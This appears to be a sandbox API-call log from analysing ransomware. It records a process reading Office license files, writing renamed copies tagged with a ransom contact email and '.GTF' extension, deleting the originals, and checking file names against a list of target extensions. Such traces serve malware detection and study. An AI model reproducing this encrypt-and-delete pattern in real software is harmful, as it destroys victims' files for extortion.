	[0181.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.098] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.098] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.101] GetLastError () returned 0x0
	[0181.101] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0181.103] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0181.104] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.104] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x114, lpOverlapped=0x0) returned 1
	[0181.104] SetEndOfFile (hFile=0x378) returned 1
	[0181.104] CloseHandle (hObject=0x378) returned 1
	[0181.104] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.104] SetEndOfFile (hFile=0x548) returned 1
	[0181.107] CloseHandle (hObject=0x548) returned 1
	[0181.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 1
	[0181.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.108] lstrlenW (lpString=".doc") returned 4
	[0181.108] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.108] lstrlenW (lpString=".docx") returned 5
	[0181.108] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.108] lstrlenW (lpString=".pdf") returned 4
	[0181.108] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.108] lstrlenW (lpString=".xls") returned 4
	[0181.108] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.108] lstrlenW (lpString=".xlsx") returned 5
	[0181.108] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.108] lstrlenW (lpString=".ppt") returned 4
	[0181.108] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.108] lstrlenW (lpString=".zip") returned 4
	[0181.108] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.108] lstrlenW (lpString=".rar") returned 4
	[0181.108] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.108] lstrlenW (lpString=".bz2") returned 4
	[0181.108] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString=".7z") returned 3
	[0181.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.109] lstrlenW (lpString=".dbf") returned 4
	[0181.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.109] lstrlenW (lpString=".1cd") returned 4
	[0181.109] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.109] lstrlenW (lpString=".jpg") returned 4
	[0181.109] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.109] lstrlenW (lpString=".doc") returned 4
	[0181.109] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString=".docx") returned 5
	[0181.109] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.109] lstrlenW (lpString=".pdf") returned 4
	[0181.109] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString=".xls") returned 4
	[0181.109] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString=".xlsx") returned 5
	[0181.109] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.109] lstrlenW (lpString=".ppt") returned 4
	[0181.109] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.109] lstrlenW (lpString=".zip") returned 4
	[0181.109] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString=".rar") returned 4
	[0181.109] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString=".bz2") returned 4
	[0181.109] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.109] lstrlenW (lpString=".7z") returned 3
	[0181.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.109] lstrlenW (lpString=".dbf") returned 4
	[0181.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.110] lstrlenW (lpString=".1cd") returned 4
	[0181.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82
	[0181.110] lstrlenW (lpString=".jpg") returned 4
	[0181.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.110] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.110] lstrlenW (lpString="O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 33
	[0181.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.111] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=24369) returned 1
	[0181.111] CloseHandle (hObject=0x548) returned 1
	[0181.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 0x220
	[0181.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.111] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.111] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.112] GetLastError () returned 0x0
	[0181.112] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0181.114] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0181.115] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.115] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x116, lpOverlapped=0x0) returned 1
	[0181.116] SetEndOfFile (hFile=0x378) returned 1
	[0181.116] CloseHandle (hObject=0x378) returned 1
	[0181.116] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.116] SetEndOfFile (hFile=0x548) returned 1
	[0181.118] CloseHandle (hObject=0x548) returned 1
	[0181.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 1
	[0181.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.120] lstrlenW (lpString=".doc") returned 4
	[0181.120] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString=".docx") returned 5
	[0181.120] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.120] lstrlenW (lpString=".pdf") returned 4
	[0181.120] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString=".xls") returned 4
	[0181.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString=".xlsx") returned 5
	[0181.120] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.120] lstrlenW (lpString=".ppt") returned 4
	[0181.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.120] lstrlenW (lpString=".zip") returned 4
	[0181.120] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString=".rar") returned 4
	[0181.120] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString=".bz2") returned 4
	[0181.120] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString=".7z") returned 3
	[0181.120] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.120] lstrlenW (lpString=".dbf") returned 4
	[0181.120] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.120] lstrlenW (lpString=".1cd") returned 4
	[0181.120] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.120] lstrlenW (lpString=".jpg") returned 4
	[0181.120] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.121] lstrlenW (lpString=".doc") returned 4
	[0181.121] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString=".docx") returned 5
	[0181.121] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.121] lstrlenW (lpString=".pdf") returned 4
	[0181.121] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString=".xls") returned 4
	[0181.121] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString=".xlsx") returned 5
	[0181.121] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.121] lstrlenW (lpString=".ppt") returned 4
	[0181.121] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.121] lstrlenW (lpString=".zip") returned 4
	[0181.121] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString=".rar") returned 4
	[0181.121] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString=".bz2") returned 4
	[0181.121] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString=".7z") returned 3
	[0181.121] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.121] lstrlenW (lpString=".dbf") returned 4
	[0181.121] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.121] lstrlenW (lpString=".1cd") returned 4
	[0181.121] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0181.121] lstrlenW (lpString=".jpg") returned 4
	[0181.121] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.121] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.122] lstrlenW (lpString="O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 36
	[0181.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.122] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11630) returned 1
	[0181.122] CloseHandle (hObject=0x548) returned 1
	[0181.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0181.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.123] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.123] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.124] GetLastError () returned 0x0
	[0181.124] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0181.268] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0181.269] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.269] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0181.269] SetEndOfFile (hFile=0x378) returned 1
	[0181.269] CloseHandle (hObject=0x378) returned 1
	[0181.269] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.269] SetEndOfFile (hFile=0x548) returned 1
	[0181.272] CloseHandle (hObject=0x548) returned 1
	[0181.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 1
	[0181.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.273] lstrlenW (lpString=".doc") returned 4
	[0181.273] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString=".docx") returned 5
	[0181.273] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.273] lstrlenW (lpString=".pdf") returned 4
	[0181.273] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString=".xls") returned 4
	[0181.273] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString=".xlsx") returned 5
	[0181.273] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.273] lstrlenW (lpString=".ppt") returned 4
	[0181.273] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.273] lstrlenW (lpString=".zip") returned 4
	[0181.273] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString=".rar") returned 4
	[0181.273] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString=".bz2") returned 4
	[0181.273] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString=".7z") returned 3
	[0181.273] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.273] lstrlenW (lpString=".dbf") returned 4
	[0181.273] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.273] lstrlenW (lpString=".1cd") returned 4
	[0181.273] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.274] lstrlenW (lpString=".jpg") returned 4
	[0181.274] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.274] lstrlenW (lpString=".doc") returned 4
	[0181.274] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString=".docx") returned 5
	[0181.274] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.274] lstrlenW (lpString=".pdf") returned 4
	[0181.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString=".xls") returned 4
	[0181.274] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString=".xlsx") returned 5
	[0181.274] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.274] lstrlenW (lpString=".ppt") returned 4
	[0181.274] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.274] lstrlenW (lpString=".zip") returned 4
	[0181.274] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString=".rar") returned 4
	[0181.274] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString=".bz2") returned 4
	[0181.274] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.274] lstrlenW (lpString=".7z") returned 3
	[0181.274] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0181.274] lstrlenW (lpString=".dbf") returned 4
